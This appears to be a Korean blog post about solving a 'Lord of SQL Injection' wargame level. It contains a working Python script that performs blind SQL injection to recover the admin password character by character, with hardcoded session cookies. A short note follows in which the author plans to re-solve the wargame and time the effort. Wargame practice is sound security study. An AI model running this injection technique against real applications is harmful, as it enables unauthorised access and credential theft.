'Wargame/Lord of SQL'에 해당되는 글 44건

import urllib2

def request(data):
    url = "https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw="+urllib2.quote(data)
    req = urllib2.Request(url)
    req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko')
    req.add_header('Cookie','__cfduid=d8ef4b715b1243db43a171dd9c1503f641517927129; PHPSESSID=dp23m3nrh8cfflj2iga3np4t46')
    response = urllib2.urlopen(req).read()

    if "Hello admin" in str(response):
        return True
    else:
        return False

length = 0
admin_pw = ""

for i in range(0,50):
    payload = "' or id='admin' and length(pw)="+str(i)+"#"
    if request(payload)==True:
        length = i
        break

print "[*]Admin Password Length = " + str(length)


for j in range(1,length+1):
    for i in range(0,128):
        payload = "' or id='admin' and ascii(substr(pw,"+str(j)+",1))="+str(i)+"#"
        if request(payload)==True:
            admin_pw += chr(i)
            print "[-]Admin Password = " + admin_pw
            break

print "[*]Admin Password = " + admin_pw

최근 SQL Injection 자체 개발 툴을 만들다가 개념 정리도좀 할겸 LOS를 다시 풀어보기로 했다. 예전에 보안공부 시작한지 얼마안되서 풀었을때 많이 배우기도 했고 풀면서 고생도 많이했던 워게임이라 일년사이에 얼마나 실력이 늘었을지 점검도 하고 CTF 풀 때 문제 푸는 시간 단축도 할 겸 빡집중해서 풀어봐야겠다.

풀고나서 페이로드만 올리는 식으로 정리하고 전체다 푸는데 얼마나 시간이 걸릴지 재봐야겠다.   

시작시간 = 2018-02-08 20:39